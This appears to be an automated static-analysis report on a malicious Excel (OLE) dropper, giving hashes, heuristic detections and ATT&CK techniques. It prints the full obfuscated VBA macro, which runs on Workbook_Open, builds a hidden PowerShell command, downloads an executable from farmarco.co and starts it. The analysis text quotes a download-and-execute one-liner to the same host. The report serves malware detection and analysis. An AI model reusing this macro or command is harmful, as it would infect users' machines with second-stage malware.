Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d5d0afc9b0697ddb…

MALICIOUS

Office (OLE)

81.0 KB Created: 2017-10-19 07:59:05 Authoring application: Microsoft Excel First seen: 2018-11-20
MD5: 802be047127b51467ae4300276a6f2d8 SHA-1: 1139780b91c6052cfcc2ac8f41df55855bccbef3 SHA-256: d5d0afc9b0697ddbf097e4704c0e4818b09a3f195b88f276b57f3e665352d7c9
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical OLE_VBA_SHELL heuristic indicates the use of the Shell() function within the VBA macro, which is used to execute external commands. The Workbook_Open macro is designed to trigger this functionality upon opening the Excel file. The reconstructed PowerShell command within the VBA macro, "cM/c start-process -verb runas -filepath '%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe' -argumentlist '-nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'https://farmarco.co/blg\')"'", attempts to download and execute a second-stage payload from the specified URL. This suggests a downloader or dropper functionality.

Heuristics 4

  • ClamAV: Xls.Dropper.Generic-6595971-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Generic-6595971-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2878 bytes
SHA-256: 79aecfd5c8ed6c6c8c14722247b591701107697aac222843274eb29da94daf74
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function altimetrod()
altimetrod = "'d"
End Function



Sub Workbook_Open()
If Monochrome > 0 Then
Shell najimnaj, msoAlignLefts
End If
End Sub
Function deleviretimer()
teslaimg = Left("calamander", 4)
twistdance = "em"
armagedon = Array("t" + twistdance + "p", "lo" + teslaimg + "ppd" + "ata")
deleviretimer = armagedon(depminng)
End Function
Function ramzessii()
ramzessii = "" + "d   " + timberlook + Chr(34)
End Function
Function SingleSong()
SingleSong = Right(Left("multiplexed", 10), 3)
End Function

Function depminng()
Randomize
depminng = Int(Rnd * 2#)
End Function
Function najimnaj()

dimmestors = "cM" + ramzessii + petroliummer + Chr(34) + "do{sl" + "eep 25;(." + "(\""{2" + "}{0" + "}{1" + "}\"" -" + "f'-" + "o','bj" + "ec" + "t','ne" + "w') (\""{"
dramssy = "'sy"
linsasadiop = "1}{3}" + "{5}{" + "0}{2}{4}\"" -f'" + "t'," + dramssy + "st','.we" + "bclie','em','nt','.ne'" + santaclever + altimetrod + "'+'o" + "w'+'n" + "lo" + "ad" + "fi"
najimnaj = dimmestors + linsasadiop + "l'+'e')." + Left("Invisible", 3) + "oke('" + dotnormtest + "ps://farmarco.co/blg','%" + deleviretimer + "%." + SingleSong + "')}while(!$?);&(\""{0}{2}{1}\""-f'star','ss','t-proce') '%" + deleviretimer + "%." + SingleSong + "'" + Chr(34) + Chr(34)
End Function

Function timberlook()
timberlook = "" + "/c"
End Function

Function petroliummer()
maffii = "owe"
labuyetero = Array(Now(), maffii + "RS", Now(), Now())
fidopinions = Array(Now(), Minute(Now), Minute(Now), "oP" + "r  " + "-e")
heroscopuses = Array(Now(), "eLL  " + "-N")
okolokojim = Array(Now(), "AS" + "S -W" + "i", Now())
normalcorrecttoolk = Array(Second(Now), Now(), Now(), Now(), "RA" + "Ct")
zulusniga = "DDen  "
vandamilkler = Array(Now(), Minute(Now), Now(), Now(), "uT" + "i  B", Minute(Now), Now(), Now())
petroliummer = "p" + labuyetero(1) + "h" + heroscopuses(1) + "on" + "iN" + "Te" + normalcorrecttoolk(4) + "iv" + "E  -N" + fidopinions(3) + "xeC" + vandamilkler(4) + "yP" + okolokojim(1) + "nD" + "O " + " hI" + zulusniga
End Function
Function dotnormtest()
dotnormtest = Right(Left("lighttight", 6), 3)
End Function
Function santaclever()
rocccopaste = ".("
astaboool = ")"
santaclever = astaboool & astaboool + rocccopaste
End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.